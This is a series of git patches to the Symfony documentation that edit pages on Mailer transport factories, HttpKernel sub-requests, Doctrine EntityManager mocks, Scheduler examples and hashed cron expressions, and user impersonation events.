--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -197,7 +197,7 @@ this interface::
                 // ... send the link and return a response (see next section)
             }
 
-            // if it's not submitted, render the "request" form
+            // if it's not submitted, render the form to request the "login link"
             return $this->render('security/request_login_link.html.twig');
         }
 

From 4421eaa89976185b06617151b96d767a1358f4f5 Mon Sep 17 00:00:00 2001
From: DamienDeSousa <desousadamien30@gmail.com>
Date: Thu, 3 Mar 2022 11:34:04 +0100
Subject: [PATCH 4340/5766] Add information to sub request

---
 components/http_kernel.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 5900a0c0b87..665ab507f67 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -711,6 +711,11 @@ look like this::
 
 .. _http-kernel-resource-locator:
 
+Also, note that by default, if the ``_format`` attribute is not set in your request, the value will be ``html``.
+So, if your sub request returns something else than ``html`` (like json for instance) you can set it by setting the ``_format`` attribute on the request::
+
+    $request->attributes->set('_format', 'json');
+
 Locating Resources
 ------------------
 

From d52bcedf0e974906a51853a96534b624bdfd840a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 13:11:22 +0100
Subject: [PATCH 4341/5766] Minor reword

---
 components/http_kernel.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 665ab507f67..abfd5b16163 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -709,12 +709,15 @@ look like this::
         // ...
     }
 
-.. _http-kernel-resource-locator:
+.. note::
 
-Also, note that by default, if the ``_format`` attribute is not set in your request, the value will be ``html``.
-So, if your sub request returns something else than ``html`` (like json for instance) you can set it by setting the ``_format`` attribute on the request::
+    The default value of the ``_format`` request attribute is ``html``. If your
+    sub request returns a different format (e.g. ``json``) you can set it by
+    defining the ``_format`` attribute explicitly on the request::
 
-    $request->attributes->set('_format', 'json');
+        $request->attributes->set('_format', 'json');
+
+.. _http-kernel-resource-locator:
 
 Locating Resources
 ------------------

From 72b69c1a03fe36934a969f2b2bc500a0816c41e9 Mon Sep 17 00:00:00 2001
From: Albert Moreno <albert.moreno.dev@gmail.com>
Date: Wed, 5 Jan 2022 12:12:32 +0100
Subject: [PATCH 4342/5766] [Mailer] Add custom transport factories

---
 mailer.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 1b3e66f2aff..710a14381d1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -356,6 +356,54 @@ Other Options
 
         This option was introduced in Symfony 5.2.
 
+Custom Transport Factories
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+There is a way to easily create your own custom transport factory in case you need to do something special creating the actual transport.
+
+The new factory needs to implement :class:`Symfony\\Component\\Mailer\\Transport\\TransportFactoryInterface`. To remove some boilerplate you can even extend from :class:`Symfony\\Component\\Mailer\\Transport\\AbstractTransportFactory` which will simplify the new factory::
+
+
+    final class CustomTransportFactory extends AbstractTransportFactory
+    {
+        public function create(Dsn $dsn): TransportInterface
+        {
+            // create and return the transport
+        }
+
+        protected function getSupportedSchemes(): array
+        {
+            return ['custom_schema'];
+        }
+    }
+
+Finally, declare the new factory in setting tag the tag `mailer.transport_factory`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        mailer.transport_factory.custom:
+            class: App\CustomTransportFactory
+            parent: mailer.transport_factory.abstract
+            tags:
+              - {name: mailer.transport_factory}
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <service id="mailer.transport_factory.custom" class="App\CustomTransportFactory" parent="mailer.transport_factory.abstract">
+            <tag name="mailer.transport_factory"/>
+        </service>
+
+    .. code-block:: php
+
+        // config/services.php
+        $services->set('mailer.transport_factory.custom', App\CustomTransportFactory::class)
+                 ->parent('mailer.transport_factory.abstract')
+                 ->tag('mailer.transport_factory');
+
 Creating & Sending Messages
 ---------------------------
 

From 3d3bdaa18d82895e874db84a592ed29c42704c8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 13:48:22 +0100
Subject: [PATCH 4343/5766] Minor reword

---
 mailer.rst | 49 +++++++++++++++----------------------------------
 1 file changed, 15 insertions(+), 34 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 710a14381d1..0a6fa9d2097 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -359,50 +359,31 @@ Other Options
 Custom Transport Factories
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There is a way to easily create your own custom transport factory in case you need to do something special creating the actual transport.
-
-The new factory needs to implement :class:`Symfony\\Component\\Mailer\\Transport\\TransportFactoryInterface`. To remove some boilerplate you can even extend from :class:`Symfony\\Component\\Mailer\\Transport\\AbstractTransportFactory` which will simplify the new factory::
-
-
-    final class CustomTransportFactory extends AbstractTransportFactory
+If you want to support your own custom DSN (``acme://...``), you can create a
+custom transport factory. To do so, create a class that implements
+:class:`Symfony\\Component\\Mailer\\Transport\\TransportFactoryInterface` or, if
+you prefer, extend the :class:`Symfony\\Component\\Mailer\\Transport\\AbstractTransportFactory`
+class to save some boilerplate code::
+
+    // src/Mailer/AcmeTransportFactory.php
+    final class AcmeTransportFactory extends AbstractTransportFactory
     {
         public function create(Dsn $dsn): TransportInterface
         {
-            // create and return the transport
+            // parse the given DSN, extract data/credentials from it
+            // and then, create and return the transport
         }
 
         protected function getSupportedSchemes(): array
         {
-            return ['custom_schema'];
+            // this supports DSN starting with `acme://`
+            return ['acme'];
         }
     }
 
-Finally, declare the new factory in setting tag the tag `mailer.transport_factory`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        mailer.transport_factory.custom:
-            class: App\CustomTransportFactory
-            parent: mailer.transport_factory.abstract
-            tags:
-              - {name: mailer.transport_factory}
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <service id="mailer.transport_factory.custom" class="App\CustomTransportFactory" parent="mailer.transport_factory.abstract">
-            <tag name="mailer.transport_factory"/>
-        </service>
-
-    .. code-block:: php
-
-        // config/services.php
-        $services->set('mailer.transport_factory.custom', App\CustomTransportFactory::class)
-                 ->parent('mailer.transport_factory.abstract')
-                 ->tag('mailer.transport_factory');
+After creating the custom transport class, register it as a service in your
+application and :doc:`tag it </service_container/tags>` with the
+``mailer.transport_factory`` tag.
 
 Creating & Sending Messages
 ---------------------------

From 63b32b57c612d0095ee450038e5a447202b2ff21 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 18 Jan 2024 16:29:57 +0100
Subject: [PATCH 4344/5766] Revert "match parameter names with AbstractBundle"

This reverts commit 6896b7e44582dc9d986a8ed453c2dbcacf63e00a.
---
 bundles/extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index 861c7b60807..8b2928358ad 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -127,18 +127,18 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // load an XML, PHP or Yaml file
-            $container->import('../config/services.xml');
+            $containerConfigurator->import('../config/services.xml');
 
             // you can also add or replace parameters and services
-            $container->parameters()
+            $containerConfigurator->parameters()
                 ->set('acme_hello.phrase', $config['phrase'])
             ;
 
             if ($config['scream']) {
-                $container->services()
+                $containerConfigurator->services()
                     ->get('acme_hello.printer')
                         ->class(ScreamingPrinter::class)
                 ;

From cf8bed89825732853fa91b8bb62d75f36ccdc62e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 18 Jan 2024 17:02:21 +0100
Subject: [PATCH 4345/5766] use entity manager and repository instead of object
 manager/repository

---
 form/unit_testing.rst                 |  8 ++++----
 service_container/parent_services.rst |  4 ++--
 testing/database.rst                  | 24 ++++++++++++------------
 3 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 3c38bbbaf17..c730f8a63de 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -147,19 +147,19 @@ make sure the ``FormRegistry`` uses the created instance::
     namespace App\Tests\Form\Type;
 
     use App\Form\Type\TestedType;
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
     use Symfony\Component\Form\PreloadedExtension;
     use Symfony\Component\Form\Test\TypeTestCase;
     // ...
 
     class TestedTypeTest extends TypeTestCase
     {
-        private MockObject|ObjectManager $objectManager;
+        private MockObject&EntityManager $entityManager;
 
         protected function setUp(): void
         {
             // mock any dependencies
-            $this->objectManager = $this->createMock(ObjectManager::class);
+            $this->entityManager = $this->createMock(EntityManager::class);
 
             parent::setUp();
         }
@@ -167,7 +167,7 @@ make sure the ``FormRegistry`` uses the created instance::
         protected function getExtensions(): array
         {
             // create a type instance with the mocked dependencies
-            $type = new TestedType($this->objectManager);
+            $type = new TestedType($this->entityManager);
 
             return [
                 // register the type instances with the PreloadedExtension
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 6fea615bc63..b82222c43af 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -9,7 +9,7 @@ you may have multiple repository classes which need the
     // src/Repository/BaseDoctrineRepository.php
     namespace App\Repository;
 
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
     use Psr\Log\LoggerInterface;
 
     // ...
@@ -18,7 +18,7 @@ you may have multiple repository classes which need the
         protected LoggerInterface $logger;
 
         public function __construct(
-            protected ObjectManager $objectManager,
+            protected EntityManager $entityManager,
         ) {
         }
 
diff --git a/testing/database.rst b/testing/database.rst
index ebcaf288c58..3f7ce3704f8 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -20,18 +20,18 @@ Suppose the class you want to test looks like this::
     namespace App\Salary;
 
     use App\Entity\Employee;
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
 
     class SalaryCalculator
     {
         public function __construct(
-            private ObjectManager $objectManager,
+            private EntityManager $entityManager,
         ) {
         }
 
         public function calculateTotalSalary(int $id): int
         {
-            $employeeRepository = $this->objectManager
+            $employeeRepository = $this->entityManager
                 ->getRepository(Employee::class);
             $employee = $employeeRepository->find($id);
 
@@ -47,8 +47,8 @@ constructor, you can pass a mock object within a test::
 
     use App\Entity\Employee;
     use App\Salary\SalaryCalculator;
-    use Doctrine\Persistence\ObjectManager;
-    use Doctrine\Persistence\ObjectRepository;
+    use Doctrine\ORM\EntityManager;
+    use Doctrine\ORM\EntityRepository;
     use PHPUnit\Framework\TestCase;
 
     class SalaryCalculatorTest extends TestCase
@@ -60,20 +60,20 @@ constructor, you can pass a mock object within a test::
             $employee->setBonus(1100);
 
             // Now, mock the repository so it returns the mock of the employee
-            $employeeRepository = $this->createMock(ObjectRepository::class);
+            $employeeRepository = $this->createMock(EntityRepository::class);
             $employeeRepository->expects($this->any())
                 ->method('find')
                 ->willReturn($employee);
 
             // Last, mock the EntityManager to return the mock of the repository
             // (this is not needed if the class being tested injects the
-            // repository it uses instead of the entire object manager)
-            $objectManager = $this->createMock(ObjectManager::class);
-            $objectManager->expects($this->any())
+            // repository it uses instead of the entire entity manager)
+            $entityManager = $this->createMock(EntityManager::class);
+            $entityManager->expects($this->any())
                 ->method('getRepository')
                 ->willReturn($employeeRepository);
 
-            $salaryCalculator = new SalaryCalculator($objectManager);
+            $salaryCalculator = new SalaryCalculator($entityManager);
             $this->assertEquals(2100, $salaryCalculator->calculateTotalSalary(1));
         }
     }
@@ -94,12 +94,12 @@ so, get the entity manager via the service container as follows::
     namespace App\Tests\Repository;
 
     use App\Entity\Product;
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
     use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private ObjectManager $entityManager;
+        private EntityManager $entityManager;
 
         protected function setUp(): void
         {

From 286959dbd828442adc9c044422a0d3ddbff15870 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 18 Jan 2024 21:27:45 +0100
Subject: [PATCH 4346/5766] Fix scheduler examples

---
 scheduler.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a272db1d0fd..21b7dbc9aa2 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -48,7 +48,7 @@ the task of creating a report::
 
     class SendDailySalesReports
     {
-        public function __construct(private string $id) {}
+        public function __construct(private int $id) {}
 
         public function getId(): int
         {
@@ -61,6 +61,9 @@ Next, create the handler that processes that kind of message::
     // src/Scheduler/Handler/SendDailySalesReportsHandler.php
     namespace App\Scheduler\Handler;
 
+    use App\Scheduler\Message\SendDailySalesReports;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
     #[AsMessageHandler]
     class SendDailySalesReportsHandler
     {
@@ -105,9 +108,13 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
 which by default references the schedule named ``default``, allows you to register
 on a particular schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
+    use Symfony\Component\Scheduler\Attribute\AsSchedule;
+    use Symfony\Component\Scheduler\Schedule;
+    use Symfony\Component\Scheduler\ScheduleProviderInterface;
+
     #[AsSchedule]
     class SaleTaskProvider implements ScheduleProviderInterface
     {
@@ -260,7 +267,7 @@ Then, define your recurring message::
 
 Finally, the recurring messages has to be attached to a schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -344,7 +351,7 @@ via the ``stateful`` option (and the :doc:`Cache component </components/cache>`)
 This way, when it wakes up again, it looks at all the dates and can catch up on
 what it missed::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -366,7 +373,7 @@ To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -395,7 +402,7 @@ your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMess
 This allows you to specify a transport on which your message will be redispatched
 before being further redispatched to its corresponding handler::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]

From 5942a35189cf59588296b8ac6ea7ab474a938989 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Fri, 19 Jan 2024 16:56:18 +1100
Subject: [PATCH 4347/5766] [SCHEDULER] clarify idle state and stateful option

---
 scheduler.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a272db1d0fd..6475728fd69 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -105,7 +105,7 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
 which by default references the schedule named ``default``, allows you to register
 on a particular schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule]
@@ -260,7 +260,7 @@ Then, define your recurring message::
 
 Finally, the recurring messages has to be attached to a schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -336,15 +336,20 @@ recurring messages. You can narrow down the list to a specific schedule:
 Efficient management with Symfony Scheduler
 -------------------------------------------
 
-If a worker becomes idle, the recurring messages won't be generated (because they
-are created on-the-fly by the scheduler transport).
+When a worker is restarted or undergoes shutdown for a period, the Scheduler transport won't be able to generate the messages (because they are created on-the-fly by the scheduler transport).
+This implies that any messages scheduled to be sent during the worker's inactive period are not sent, and the Scheduler will lose track of the last processed message.
+Upon restart, it will recalculate the messages to be generated from that point onward.
+
+To illustrate, consider a recurring message set to be sent every 3 days.
+If a worker is restarted on day 2, the message will be sent 3 days from the restart, on day 5.
+
+While this behavior may not necessarily pose a problem, there is a possibility that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This way, when it wakes up again, it looks at all the dates and can catch up on
-what it missed::
+This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -366,7 +371,7 @@ To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -395,7 +400,7 @@ your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMess
 This allows you to specify a transport on which your message will be redispatched
 before being further redispatched to its corresponding handler::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]

From d36a14fb372353cf450624d5bdcffcee6cec1123 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 21 Jan 2024 13:13:29 +0100
Subject: [PATCH 4348/5766] Ask to open PRs for new features in 7.x

---
 .github/PULL_REQUEST_TEMPLATE.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index 17cec7af7c3..f32043e4523 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -4,6 +4,6 @@ If your pull request fixes a BUG, use the oldest maintained branch that contains
 the bug (see https://symfony.com/releases for the list of maintained branches).
 
 If your pull request documents a NEW FEATURE, use the same Symfony branch where
-the feature was introduced (and `6.x` for features of unreleased versions).
+the feature was introduced (and `7.x` for features of unreleased versions).
 
 -->

From 541a016e4405034ae0b877fe61fd522fc4930162 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 21 Jan 2024 13:40:58 +0100
Subject: [PATCH 4349/5766] Reword impersonnating event description

---
 security/impersonating_user.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 99ba88d2b25..75003f6495b 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -363,9 +363,14 @@ not this is allowed. If your voter isn't called, see :ref:`declaring-the-voter-a
 Events
 ------
 
-The firewall dispatches the ``security.switch_user`` event right after the impersonation
-is completed. The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
-passed to the listener, and you can use this to get the user that you are now impersonating.
+Just before the impersonation is fully completed, the ``security.switch_user`` event is
+dispatched.
+The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
+passed to the :doc:`listener or subscriber </event_dispatcher>`, and you can use
+this to get the user that you are now impersonating.
+
+This event is also dispatched just before impersonation is fully exited. You can
+use it to get the original impersonator user.
 
 The :ref:`locale-sticky-session` section does not update the locale when you
 impersonate a user. If you *do* want to be sure to update the locale when you

From f604e8943f436d8f33990fa51d20dfc440534b60 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 08:24:26 +0100
Subject: [PATCH 4350/5766] Wrap long lines

---
 scheduler.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6475728fd69..358ca5c78f1 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -336,14 +336,19 @@ recurring messages. You can narrow down the list to a specific schedule:
 Efficient management with Symfony Scheduler
 -------------------------------------------
 
-When a worker is restarted or undergoes shutdown for a period, the Scheduler transport won't be able to generate the messages (because they are created on-the-fly by the scheduler transport).
-This implies that any messages scheduled to be sent during the worker's inactive period are not sent, and the Scheduler will lose track of the last processed message.
-Upon restart, it will recalculate the messages to be generated from that point onward.
-
-To illustrate, consider a recurring message set to be sent every 3 days.
-If a worker is restarted on day 2, the message will be sent 3 days from the restart, on day 5.
-
-While this behavior may not necessarily pose a problem, there is a possibility that it may not align with what you are seeking.
+When a worker is restarted or undergoes shutdown for a period, the Scheduler
+transport won't be able to generate the messages (because they are created
+on-the-fly by the scheduler transport). This implies that any messages
+scheduled to be sent during the worker's inactive period are not sent, and the
+Scheduler will lose track of the last processed message. Upon restart, it will
+recalculate the messages to be generated from that point onward.
+
+To illustrate, consider a recurring message set to be sent every 3 days. If a
+worker is restarted on day 2, the message will be sent 3 days from the restart,
+on day 5.
+
+While this behavior may not necessarily pose a problem, there is a possibility
+that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).

From 9816136c484f361f784cb80a539867e02a8f928f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 22 Jan 2024 13:28:01 +0100
Subject: [PATCH 4351/5766] fix typo

---
 scheduler.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 358ca5c78f1..2bf03558c6c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -352,7 +352,8 @@ that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
+This allows the system to retain the state of the schedule, ensuring that when
+a worker is restarted, it resumes from the point it left off::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;

From f41721c4374b12deb0a627f2507201c27108b915 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 18 Jan 2024 21:27:45 +0100
Subject: [PATCH 4352/5766] [Scheduler] Document hashed Cron expression

---
 scheduler.rst | 82 +++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 67 insertions(+), 15 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a272db1d0fd..0805a923a1a 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -48,7 +48,7 @@ the task of creating a report::
 
     class SendDailySalesReports
     {
-        public function __construct(private string $id) {}
+        public function __construct(private int $id) {}
 
         public function getId(): int
         {
@@ -61,6 +61,9 @@ Next, create the handler that processes that kind of message::
     // src/Scheduler/Handler/SendDailySalesReportsHandler.php
     namespace App\Scheduler\Handler;
 
+    use App\Scheduler\Message\SendDailySalesReports;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
     #[AsMessageHandler]
     class SendDailySalesReportsHandler
     {
@@ -105,9 +108,13 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
 which by default references the schedule named ``default``, allows you to register
 on a particular schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
+    use Symfony\Component\Scheduler\Attribute\AsSchedule;
+    use Symfony\Component\Scheduler\Schedule;
+    use Symfony\Component\Scheduler\ScheduleProviderInterface;
+
     #[AsSchedule]
     class SaleTaskProvider implements ScheduleProviderInterface
     {
@@ -168,22 +175,67 @@ Then, define the trigger date/time using the same syntax as the
 
     RecurringMessage::cron('* * * * *', new Message());
 
+.. tip::
+
+    Check out the `crontab.guru website`_ if you need help to construct/understand
+    cron expressions.
+
 You can also use some special values that represent common cron expressions:
 
-* ``#yearly``, ``#annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
-* ``#monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``
-* ``#weekly`` - Run once a week, midnight on Sun - ``0 0 * * 0``
-* ``#daily``, ``#midnight`` - Run once a day, midnight - ``0 0 * * *``
-* ``#hourly`` - Run once an hour, first minute - ``0 * * * *``
+* ``@yearly``, ``@annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
+* ``@monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``
+* ``@weekly`` - Run once a week, midnight on Sun - ``0 0 * * 0``
+* ``@daily``, ``@midnight`` - Run once a day, midnight - ``0 0 * * *``
+* ``@hourly`` - Run once an hour, first minute - ``0 * * * *``
 
 For example::
 
-    RecurringMessage::cron('#daily', new Message());
+    RecurringMessage::cron('@daily', new Message());
+
+Hashed Cron Expression
+~~~~~~~~~~~~~~~~~~~~~~
+
+If you have many trigger scheduled at same time (for example, at midnight, ``0 0 * * *``)
+this will create a very long running schedules list right at this time.
+This may cause an issue if a task has a memory leak.
+
+You can add a ``#``(for hash) symbol in expression to generate random value. The value
+is deterministic based on the message. This means that while the value is random, it is
+predictable and consistent. A message with string representation ``my task``
+and a defined frequency of ``# # * * *`` will have an idempotent frequency
+of ``56 20 * * *`` (every day at 8:56pm).
+
+A hash range ``#(x-y)`` can also be used. For example, ``# #(0-7) * * *`` means daily,
+some time between midnight and 7am. Using the ``#`` without a range creates a range
+of any valid value for the field. ``# # # # #`` is short for ``#(0-59) #(0-23) #(1-28)
+#(1-12) #(0-6)``.
+
+You can also use some special values that represent common hashed cron expressions:
+
+======================  ========================================================================
+Alias                   Converts to
+======================  ========================================================================
+``#hourly``             ``# * * * *`` (at some minute every hour)
+``#daily``              ``# # * * *`` (at some time every day)
+``#weekly``             ``# # * * #`` (at some time every week)
+``#weekly@midnight``    ``# #(0-2) * * #`` (at ``#midnight`` one day every week)
+``#monthly``            ``# # # * *`` (at some time on some day, once per month)
+``#monthly@midnight``   ``# #(0-2) # * *`` (at ``#midnight`` on some day, once per month)
+``#annually``           ``# # # # *`` (at some time on some day, once per year)
+``#annually@midnight``  ``# #(0-2) # # *``  (at ``#midnight`` on some day, once per year)
+``#yearly``             ``# # # # *`` alias for ``#annually``
+``#yearly@midnight``    ``# #(0-2) # # *`` alias for ``#annually@midnight``
+``#midnight``           ``# #(0-2) * * *`` (at some time between midnight and 2:59am, every day)
+======================  ========================================================================
 
-.. tip::
+For example::
 
-    Check out the `crontab.guru website`_ if you need help to construct/understand
-    cron expressions.
+    RecurringMessage::cron('#midnight', new Message());
+
+.. note::
+
+    The day of month range is ``1-28``, this is to account for February
+    which has a minimum of 28 days.
 
 .. versionadded:: 6.4
 
@@ -260,7 +312,7 @@ Then, define your recurring message::
 
 Finally, the recurring messages has to be attached to a schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -344,7 +396,7 @@ via the ``stateful`` option (and the :doc:`Cache component </components/cache>`)
 This way, when it wakes up again, it looks at all the dates and can catch up on
 what it missed::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -366,7 +418,7 @@ To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -395,7 +447,7 @@ your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMess
 This allows you to specify a transport on which your message will be redispatched
 before being further redispatched to its corresponding handler::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]

From ca5921697e8cff5e051f8b43aca0bd4c61bb3910 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 17:18:36 +0100
Subject: [PATCH 4353/5766] Tweaks

---
 scheduler.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index fb29094034d..bec1741e1ff 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -192,22 +192,23 @@ For example::
 
     RecurringMessage::cron('@daily', new Message());
 
-Hashed Cron Expression
-~~~~~~~~~~~~~~~~~~~~~~
+Hashed Cron Expressions
+·······················
 
-If you have many trigger scheduled at same time (for example, at midnight, ``0 0 * * *``)
-this will create a very long running schedules list right at this time.
+If you have many triggers scheduled at same time (for example, at midnight, ``0 0 * * *``)
+this will create a very long running list of schedules at that exact time.
 This may cause an issue if a task has a memory leak.
 
-You can add a ``#``(for hash) symbol in expression to generate random value. The value
-is deterministic based on the message. This means that while the value is random, it is
